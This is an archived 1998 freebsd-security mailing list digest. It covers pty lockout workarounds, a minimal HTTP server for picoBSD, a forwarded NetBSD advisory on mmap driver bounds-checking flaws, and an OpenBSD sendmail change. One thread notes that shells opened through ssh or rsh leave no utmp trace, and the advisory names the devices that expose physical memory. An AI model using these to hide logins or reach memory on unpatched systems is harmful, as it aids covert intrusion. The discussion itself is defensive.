ESMTP id RAA02035; Fri, 20 Nov 1998 17:58:42 +1300 (NZDT) (envelope-from andrew@squiz.co.nz) Date: Fri, 20 Nov 1998 17:58:41 +1300 (NZDT) From: Andrew McNaughton X-Sender: andrew@aniwa.sky Reply-To: andrew@squiz.co.nz To: Kris Kennaway cc: David Gilbert , Stefan `Sec` Zehl , freebsd-security@FreeBSD.ORG Subject: Re: no more pty's / lockout In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 20 Nov 1998, Kris Kennaway wrote: > On Thu, 19 Nov 1998, David Gilbert wrote: > > > ssh (and I believe rsh... but I don't use it) will allow a > > login without an available tty as follows: > > > > ssh -l root "bash -i" > > or csh -i, etc. > > The rsh version also won't leave traces in your utmp (at least, they don't on > other systems), never tried it with ssh but I'd expect something similar. I've come across hacker texts which reccomend using a non-interactive shell for this reason. Any suggestions on simple ways to see who's on line that get around this problem? Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 21:55:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA19234 for freebsd-security-outgoing; Thu, 19 Nov 1998 21:55:32 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from smtp01.wxs.nl (smtp01.wxs.nl [195.121.6.61]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA19229 for ; Thu, 19 Nov 1998 21:55:28 -0800 (PST) (envelope-from asmodai@wxs.nl) Received: from chronias.ninth-circle.org ([195.121.58.135]) by smtp01.wxs.nl (Netscape Messaging Server 3.6) with ESMTP id AAA562; Fri, 20 Nov 1998 06:54:54 +0100 Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Fri, 20 Nov 1998 06:59:25 +0100 (CET) Organization: Ninth Circle Enterprises From: Jeroen Ruigrok/Asmodai To: Andrew McNaughton Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) Cc: freebsd-security@FreeBSD.ORG, Per Kristian Hove Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 20-Nov-98 Andrew McNaughton wrote: > On Thu, 19 Nov 1998, Jeroen Ruigrok/Asmodai wrote: >> Mayhaps www.w3c.org has them? > > Probably, but I'd reccommend going to the RFC's. > > rfc1945 Hypertext Transfer Protocol -- HTTP/1.0 > rfc2068 Hypertext Transfer Protocol -- HTTP/1.1 D'oh... Too obvious so I forgot =) But 1.0 is nowdays still the basic right? --- Jeroen Ruigrok van der Werven/Asmodai asmodai(at)wxs.nl | Cum angelis et pueris, Junior Network/Security Specialist | fideles inveniamur *BSD & picoBSD: The Power to Serve... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 22:41:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA23266 for freebsd-security-outgoing; Thu, 19 Nov 1998 22:41:00 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from aniwa.sky (aniwa.actrix.gen.nz [203.96.56.186]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA23261 for ; Thu, 19 Nov 1998 22:40:57 -0800 (PST) (envelope-from andrew@squiz.co.nz) Received: from localhost (andrew@localhost) by aniwa.sky (8.8.8/8.8.7) with ESMTP id TAA03110; Fri, 20 Nov 1998 19:40:22 +1300 (NZDT) (envelope-from andrew@squiz.co.nz) Date: Fri, 20 Nov 1998 19:40:21 +1300 (NZDT) From: Andrew McNaughton X-Sender: andrew@aniwa.sky Reply-To: andrew@squiz.co.nz To: Jeroen Ruigrok/Asmodai cc: freebsd-security@FreeBSD.ORG, Per Kristian Hove Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 20 Nov 1998, Jeroen Ruigrok/Asmodai wrote: > Date: Fri, 20 Nov 1998 06:59:25 +0100 (CET) > From: Jeroen Ruigrok/Asmodai > To: Andrew McNaughton > Cc: freebsd-security@FreeBSD.ORG, Per Kristian Hove > Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) > > On 20-Nov-98 Andrew McNaughton wrote: > > On Thu, 19 Nov 1998, Jeroen Ruigrok/Asmodai wrote: > >> Mayhaps www.w3c.org has them? > > > > Probably, but I'd reccommend going to the RFC's. > > > > rfc1945 Hypertext Transfer Protocol -- HTTP/1.0 > > rfc2068 Hypertext Transfer Protocol -- HTTP/1.1 > > D'oh... Too obvious so I forgot =) > > But 1.0 is nowdays still the basic right? 1.0 is pretty much the entry level. Any server should implement more or less all of it. 1.1 savvy browsers will work fine with 1.0 servers. I regularly do manual HTTP 1.0 sessions for debugging cgi stuff, and for that I find that most of 1.0 is worth remembering the details. The 1.1 extensions are less important for simple web servers, but are important if you're setting up a proxy server. Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Nov 19 23:52:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA29797 for freebsd-security-outgoing; Thu, 19 Nov 1998 23:52:34 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from obie.softweyr.com ([204.68.178.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA29790 for ; Thu, 19 Nov 1998 23:52:32 -0800 (PST) (envelope-from wes@softweyr.com) Received: from softweyr.com (zaphod.softweyr.com [204.68.178.35]) by obie.softweyr.com (8.8.8/8.8.8) with ESMTP id AAA06518; Fri, 20 Nov 1998 00:51:40 -0700 (MST) (envelope-from wes@softweyr.com) Message-ID: <36551F8C.8555580E@softweyr.com> Date: Fri, 20 Nov 1998 00:51:40 -0700 From: Wes Peters Organization: Softweyr llc X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.0-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Jeroen Ruigrok/Asmodai CC: Andrew McNaughton , freebsd-security@FreeBSD.ORG, Per Kristian Hove Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jeroen Ruigrok/Asmodai wrote: > > On 20-Nov-98 Andrew McNaughton wrote: > > On Thu, 19 Nov 1998, Jeroen Ruigrok/Asmodai wrote: > >> Mayhaps www.w3c.org has them? > > > > Probably, but I'd reccommend going to the RFC's. > > > > rfc1945 Hypertext Transfer Protocol -- HTTP/1.0 > > rfc2068 Hypertext Transfer Protocol -- HTTP/1.1 > > D'oh... Too obvious so I forgot =) > > But 1.0 is nowdays still the basic right? If you're shoveling out any Java applets, you will want to support HTTP/1.1 and keepalive connections, otherwise your applet download time using IE4 will be enormous. If you're going to write an embedded web server, get yourself a good etherent monitor program, several PCs (& Macs if you care about them) and a good selection of browsers, and test the hell out of it. All WWW browsers suck in various ways, but they all suck differently. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.softweyr.com/~softweyr wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Nov 20 06:07:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA06085 for freebsd-security-outgoing; Fri, 20 Nov 1998 06:07:09 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from www.scancall.no (www.scancall.no [195.139.183.5]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id GAA06080 for ; Fri, 20 Nov 1998 06:07:06 -0800 (PST) (envelope-from Marius.Bendiksen@scancall.no) Received: from super2.langesund.scancall.no [195.139.183.29] by www with smtp id KCZKAVGJ; Fri, 20 Nov 98 14:06:36 GMT (PowerWeb version 4.04r6) Message-Id: <3.0.5.32.19981120150634.009c1350@mail.scancall.no> X-Sender: Marius@mail.scancall.no X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Fri, 20 Nov 1998 15:06:34 +0100 To: David Gilbert , Stefan `Sec` Zehl From: Marius Bendiksen Subject: Re: no more pty's / lockout Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <13908.55544.854706.2736@trooper.velocet.ca> References: <19981120003245.A5204@matrix.42.org> <19981120003245.A5204@matrix.42.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > ssh (and I believe rsh... but I don't use it) will allow a >login without an available tty as follows: That may be, but shouldn't we perhaps fix this in *our* telnetd as well? One of the major strengths of FreeBSD, IMO, is that it has the ability to run as a stable and secure system out of the box. --- Marius Bendiksen, IT-Trainee, ScanCall AS To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Nov 20 11:27:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA06875 for freebsd-security-outgoing; Fri, 20 Nov 1998 11:27:28 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA06865 for ; Fri, 20 Nov 1998 11:27:26 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id LAA18418; Fri, 20 Nov 1998 11:26:38 -0800 (PST) (envelope-from dillon) Date: Fri, 20 Nov 1998 11:26:38 -0800 (PST) From: Matthew Dillon Message-Id: <199811201926.LAA18418@apollo.backplane.com> To: Andrew McNaughton Cc: Jeroen Ruigrok/Asmodai , freebsd-security@FreeBSD.ORG, Per Kristian Hove Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> :> But 1.0 is nowdays still the basic right? : :1.0 is pretty much the entry level. Any server should implement more or :less all of it. 1.1 savvy browsers will work fine with 1.0 servers. I :regularly do manual HTTP 1.0 sessions for debugging cgi stuff, and for :that I find that most of 1.0 is worth remembering the details. : :The 1.1 extensions are less important for simple web servers, but are :important if you're setting up a proxy server. : :Andrew 1.1 is fairly important for both, because not only does 1.1 hack, er, 'fix' the persistent connection protocol, it also requires the Host: header (1) so as clients conform to 1.1, the server is guarenteed the ability to determine the virtual host from the Host: header rather then having to assign unique IP's to each virtual host. note(1): the server is required to return a failure code if the client says it is using HTTP/1.1 but does not supply a Host: mime header. -Matt : :To Unsubscribe: send mail to majordomo@FreeBSD.org :with "unsubscribe freebsd-security" in the body of the message : Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Nov 20 12:00:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA09629 for freebsd-security-outgoing; Fri, 20 Nov 1998 12:00:52 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from smtp03.wxs.nl (smtp03.wxs.nl [195.121.6.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA09624 for ; Fri, 20 Nov 1998 12:00:49 -0800 (PST) (envelope-from asmodai@wxs.nl) Received: from chronias.ninth-circle.org ([195.121.58.47]) by smtp03.wxs.nl (Netscape Messaging Server 3.6) with ESMTP id AAA7133; Fri, 20 Nov 1998 21:00:18 +0100 Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199811201926.LAA18418@apollo.backplane.com> Date: Fri, 20 Nov 1998 21:05:07 +0100 (CET) Organization: Ninth Circle Enterprises From: Jeroen Ruigrok/Asmodai To: Matthew Dillon Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) Cc: Per Kristian Hove , freebsd-security@FreeBSD.ORG, Andrew McNaughton Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 20-Nov-98 Matthew Dillon wrote: >:The 1.1 extensions are less important for simple web servers, but are >:important if you're setting up a proxy server. > > 1.1 is fairly important for both, because not only does 1.1 hack, er, > 'fix' > the persistent connection protocol, it also requires the Host: header (1) > so as clients conform to 1.1, the server is guarenteed the ability to > determine the virtual host from the Host: header rather then having to > assign unique IP's to each virtual host. > > note(1): the server is required to return a failure code if the client > says it is using HTTP/1.1 but does not supply a Host: mime header. OK, that's all cute ;) But how big would a fully functional HTTP 1.0 or 1.1 compliant server be? Because for embedded systems (read picoBSD) we need to make such decisions and based on the results implement them. *digs out the RFC specs...* --- Jeroen Ruigrok van der Werven/Asmodai asmodai(at)wxs.nl | Cum angelis et pueris, Junior Network/Security Specialist | fideles inveniamur *BSD & picoBSD: The Power to Serve... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Nov 20 12:07:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA10557 for freebsd-security-outgoing; Fri, 20 Nov 1998 12:07:40 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from smtp05.wxs.nl (smtp05.wxs.nl [195.121.6.57]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA10538; Fri, 20 Nov 1998 12:07:37 -0800 (PST) (envelope-from asmodai@wxs.nl) Received: from chronias.ninth-circle.org ([195.121.58.47]) by smtp05.wxs.nl (Netscape Messaging Server 3.6) with ESMTP id AAA24C5; Fri, 20 Nov 1998 20:07:01 +0100 Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Fri, 20 Nov 1998 21:11:51 +0100 (CET) Organization: Ninth Circle Enterprises From: Jeroen Ruigrok/Asmodai To: FreeBSD Current , FreeBSD Current , FreeBSD Security Subject: FW: NetBSD Security Advisory 1998-005 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Might be interesting, I sended it to Current as well regarding the mentioning of mmap (dying Daemons mayhaps?) Sorry if that was not appropriate, but to me it seemed that way... FYI, -----FW: <24978.911534701@eterna.com.au>----- Date: Fri, 20 Nov 1998 15:05:01 +1100 Sender: netbsd-announce-owner@netbsd.org From: matthew green To: netbsd-announce@netbsd.org Subject: NetBSD Security Advisory 1998-005 Cc: tech-security@netbsd.org, current-users@netbsd.org, bugtraq@netspace.org, cert@cert.org, auscert@auscert.org.au -----BEGIN PGP SIGNED MESSAGE----- NetBSD Security Advisory 1998-005 --------------------------------- Topic: Problem with mmap(2) and many drivers. Version: NetBSD 1.3.2 and prior; NetBSD-current to 19981120. Severity: Local users may be able to access physical and device memory or cause system instability. Abstract - -------- Many character device drivers that provide mmap access do not properly bounds check their arguments. The impact of this varies widely across each affected driver. Some drivers allow access to portions of physical or device memory or may cause the system to panic or act unreliably. Technical Details - ----------------- The NetBSD character device d_mmap driver-provided service entry is called by the device page fault routine to check for valid access and return a machine dependant value (normally a physicaly address or a page frame number) used to create a virtual to physical address mapping. One of the arguments to the d_mmap() routine is `int offset;' which is a signed value. Many of the device drivers which implement mmap access do not properly check for negative values, each having different failure modes. For example, on NetBSD/i386 the text console drivers can be fooled into allowing the console user access to physical memory from 0 to 640KB, but on NetBSD/macppc, the console driver may allow the console user access to any memory location. The NetBSD d_mmap interface was inherited by NetBSD from 4.4BSD, and there may be problems in other 4.4BSD derived operating systems. Solutions and Workarounds - ------------------------- NetBSD 1.3.2 users should upgrade to NetBSD 1.3.3 when it becomes available, or apply the following patch to their kernel source and rebuild their kernel. ftp://ftp.netbsd.org/pub/NetBSD/misc/security/patches/19981120-d_mmap NetBSD-current users should update to a source tree newer than 19981120 and rebuild their kernel. If these actions can not be taken, the following section can be used to remove access to devices at the file system level, on a per-port and per-device basis. Port and Device Specific Details - -------------------------------- Below are the NetBSD port and device specific details for each of the affected drivers. These do not list `attacks' possible for someone who is already root, or do not elevate current access. This list may be incomplete or even incorrect; the best efforts have been made to ensure its accuracy in the time permitted. NetBSD/arm32 and NetBSD/i386 specific problems: The pccons and pcvt console drivers allow access from 0 to the base address of video memory (640KB). These drivers must be associated with the system console and are normally only exploitable to the user logged in on the console. Device: /dev/ttyv? NetBSD/arm32 specific problems: On the RISCPC and RC7500 models the physical console driver allows access from 0 to the base address of video memory. These drivers must be associated with the system console and the device nodes for these may not even exist. Device: no default device. NetBSD/mac68k specific problems: The grf console driver allows access from 0 to the base address of video memory. This driver must be associated with the system console and is normally only exploitable to the user logged in on the console. The Apple Sound Chip (asc) driver which provides access to Apple Sound and console bell support may allow access to page 0 to anyone. Both of these drivers may also cause unpredictable system activity. Devices: /dev/grf* & /dev/asc* NetBSD/macppc (not available in NetBSD 1.3.2) specific problems: The nvram d_mmap routine incorrectly returns EOPNOTSUPP instead of -1 to indicate error, possibly causing the system to panic. This is exploitable by anyone. The ofb driver allows console users access to any memory location. Devices: /dev/nvram and no default device for ofb. NetBSD/sparc specific problems: The cgeight and cgfour console drivers allow access from 0 to the base address of video memory (0x500000), or may cause unpredictable system activity. These drivers must be associated with the system console and are normally only exploitable to the user logged in on the console. Devices: /dev/fb, /dev/cgfour* & /dev/cgeight* NetBSD/vax specific problems: The smg console driver may allow the console user access to memory from 0 to 128KB and may cause the unpredictable system activity. Note that this not a problem in NetBSD/vax 1.3.2. Device: /dev/vt* PCI device specific problems: The tga console driver allow access from 0 to the base address of video memory. This drivers must be associated with the system console and is normally only exploitable to the user logged in on the console. Device: /dev/ttyE? Turbo Channel (pmax & alpha) device specific problems: The cfb, sfb, mfb and xcfb console drivers allow access from 0 to the base address of video memory, or may cause unpredictable system activity. These drivers must be associated with the system console and are normally only exploitable to the user logged in on the console. Note that these devices are only available in the TurboChannel Alpha models. Device: /dev/fb? (pmax) & /dev/ttyE? (alpha) Thanks To - --------- Many thanks to Chris G. Demetriou and Ted Lemon for finding the original problem. Chris also provided an initial investigation & analysis of the problem. Matthew Green found, analysed and fixed the system as a whole. Tsubai Masanari provided technical input for the NetBSD/macppc port and Kazuki Sakamoto provided technical input for the NetBSD/bebox port. More Information - ---------------- Information about NetBSD and NetBSD security can be found at http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/. Copyright 1998, The NetBSD Foundation, Inc. All Rights Reserved. $NetBSD: NetBSD-SA1998-005.txt,v 1.3 1998/11/20 04:06:27 mrg Exp $ -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBNlTp7D5Ru2/4N2IFAQGVrAQApqIKBLZ+7xHpz7k1ZM5pD/WH66B5a1EI B6Oj8u8De14GApHSwzv69Trh8b5NfztiIXbTn1JKHPrTNDuWsHP/Vox6HZkJ6G/F Gf7Wb524zyeLZAARJB/z5G9NnsxESsckgldH+WHvcNrg/Osrt74EKaxr2tBh9+OT 9Hl6B2KWP2I= =7Yke -----END PGP SIGNATURE----- --------------End of forwarded message------------------------- --- Jeroen Ruigrok van der Werven/Asmodai asmodai(at)wxs.nl | Cum angelis et pueris, Junior Network/Security Specialist | fideles inveniamur *BSD & picoBSD: The Power to Serve... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Nov 20 13:17:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA19534 for freebsd-security-outgoing; Fri, 20 Nov 1998 13:17:56 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA19526 for ; Fri, 20 Nov 1998 13:17:52 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id NAA08185; Fri, 20 Nov 1998 13:16:27 -0800 (PST) Received: from utah.XYLAN.COM by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id NAA20036; Fri, 20 Nov 1998 13:16:26 -0800 Received: from softweyr.com by utah.XYLAN.COM (SMI-8.6/SMI-SVR4 (xylan utah [SPOOL])) id OAA22716; Fri, 20 Nov 1998 14:16:24 -0700 Message-ID: <3655DC28.602046DB@softweyr.com> Date: Fri, 20 Nov 1998 14:16:24 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 2.2.7-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Jeroen Ruigrok/Asmodai CC: Matthew Dillon , Per Kristian Hove , freebsd-security@FreeBSD.ORG, Andrew McNaughton Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jeroen Ruigrok/Asmodai wrote: > > OK, that's all cute ;) > > But how big would a fully functional HTTP 1.0 or 1.1 compliant server be? > Because for embedded systems (read picoBSD) we need to make such decisions and > based on the results implement them. > > *digs out the RFC specs...* Not very. I did one for the Internet Station, on a 486, the complete server code was about 18K. This included supporting "active pages" with custom HTML tags to suck in and present the values of system variables and configuration settings, and support for HTML FORM input processing. Don't use stdio and you'll keep your code size down significantly. -- Where am I, and what am I doing in this handbasket? Wes Peters +1.801.915.2061 Softweyr LLC wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Nov 20 17:30:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA19097 for freebsd-security-outgoing; Fri, 20 Nov 1998 17:30:01 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA19089 for ; Fri, 20 Nov 1998 17:29:57 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id RAA19628; Fri, 20 Nov 1998 17:29:23 -0800 (PST) (envelope-from dillon) Date: Fri, 20 Nov 1998 17:29:23 -0800 (PST) From: Matthew Dillon Message-Id: <199811210129.RAA19628@apollo.backplane.com> To: Jeroen Ruigrok/Asmodai Cc: Per Kristian Hove , freebsd-security@FreeBSD.ORG, Andrew McNaughton Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> so as clients conform to 1.1, the server is guarenteed the ability to :> determine the virtual host from the Host: header rather then having to :> assign unique IP's to each virtual host. :> :> note(1): the server is required to return a failure code if the client :> says it is using HTTP/1.1 but does not supply a Host: mime header. : :OK, that's all cute ;) : :But how big would a fully functional HTTP 1.0 or 1.1 compliant server be? :Because for embedded systems (read picoBSD) we need to make such decisions and :based on the results implement them. : :*digs out the RFC specs...* If you don't use the fancier features it's fairly easy to write a web server. Writing a scaleable web server is a different matter, but even so it isn't going to be all that big. A short list of optional features that you do not have to implement include: byte serving (Range: header) persistent connections proxy functions content matching Common features you should/must deal with properly: Handling missing trailing slashes properly (by returning a redirect) code 100 processing (if implementing HTTP/1.1) Handling content-length, POST data Handling If-modified-Since Handling Authorization if you intend to password-protect the system using authorization mechanisms. Properly escaping input and output strings according to the spec. -Matt :--- :Jeroen Ruigrok van der Werven/Asmodai :asmodai(at)wxs.nl | Cum angelis et pueris, :Junior Network/Security Specialist | fideles inveniamur :*BSD & picoBSD: The Power to Serve... : :To Unsubscribe: send mail to majordomo@FreeBSD.org :with "unsubscribe freebsd-security" in the body of the message : Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Nov 20 18:01:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA22777 for freebsd-security-outgoing; Fri, 20 Nov 1998 18:01:20 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA22772 for ; Fri, 20 Nov 1998 18:01:16 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id SAA13956; Fri, 20 Nov 1998 18:00:34 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id SAA03012; Fri, 20 Nov 1998 18:00:32 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id SAA28322; Fri, 20 Nov 1998 18:00:29 -0800 (PST) From: Don Lewis Message-Id: <199811210200.SAA28322@salsa.gv.tsc.tdk.com> Date: Fri, 20 Nov 1998 18:00:29 -0800 In-Reply-To: "Jordan K. Hubbard" ""Todd C. Miller": sendmail changes in OpenBSD 2.4" (Nov 15, 2:10pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: "Jordan K. Hubbard" , security@FreeBSD.ORG Subject: Re: "Todd C. Miller": sendmail changes in OpenBSD 2.4 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org } To: announce@openbsd.org } Subject: sendmail changes in OpenBSD 2.4 } Date: Sun, 15 Nov 1998 14:49:25 -0700 } From: "Todd C. Miller" } Sender: owner-announce@openbsd.org } } In 2.4, /usr/libexec/mail.local is no longer setuid, to prevent its } abuse by users (trivial mail forgery, filling up /var/mail, etc). } } If you are upgrading from a previous version of OpenBSD you will } need to either regenerate your sendmail.cf with an OSTYPE of "openbsd" } instead of "bsd4.4" or edit the sendmail.cf directly and in the } line that begins with Mlocal, change the "rmn9" to "rmn9S". This is not compatible with the RunAsUser sendmail option, which provides some protection against sendmail exploits. --- Truck To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Nov 20 18:12:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA24617 for freebsd-security-outgoing; Fri, 20 Nov 1998 18:12:12 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA24611 for ; Fri, 20 Nov 1998 18:12:09 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id SAA10178; Fri, 20 Nov 1998 18:10:53 -0800 (PST) Received: from utah.XYLAN.COM by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id SAA07792; Fri, 20 Nov 1998 18:10:52 -0800 Received: from softweyr.com by utah.XYLAN.COM (SMI-8.6/SMI-SVR4 (xylan utah [SPOOL])) id TAA25444; Fri, 20 Nov 1998 19:10:51 -0700 Message-ID: <3656212A.DB67ADEA@softweyr.com> Date: Fri, 20 Nov 1998 19:10:50 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 2.2.7-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon CC: Jeroen Ruigrok/Asmodai , Per Kristian Hove , freebsd-security@FreeBSD.ORG, Andrew McNaughton Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) References: <199811210129.RAA19628@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Dillon wrote: > > If you don't use the fancier features it's fairly easy to write a web > server. Writing a scaleable web server is a different matter, but even > so it isn't going to be all that big. > > A short list of optional features that you do not have to implement > include: > > byte serving (Range: header) > persistent connections > proxy functions > content matching > > Common features you should/must deal with properly: > > Handling missing trailing slashes properly (by returning a > redirect) > code 100 processing (if implementing HTTP/1.1) > Handling content-length, POST data > Handling If-modified-Since > Handling Authorization if you intend to password-protect > the system using authorization mechanisms. > Properly escaping input and output strings according to the spec. Agreed, except for the persistent connections. You really do need that to work around some really bogus bugs in IE 4.0, and it's not that hard to do. Plus, it'll save your little embedded system a lot of work setting up and taking down TCP connections on 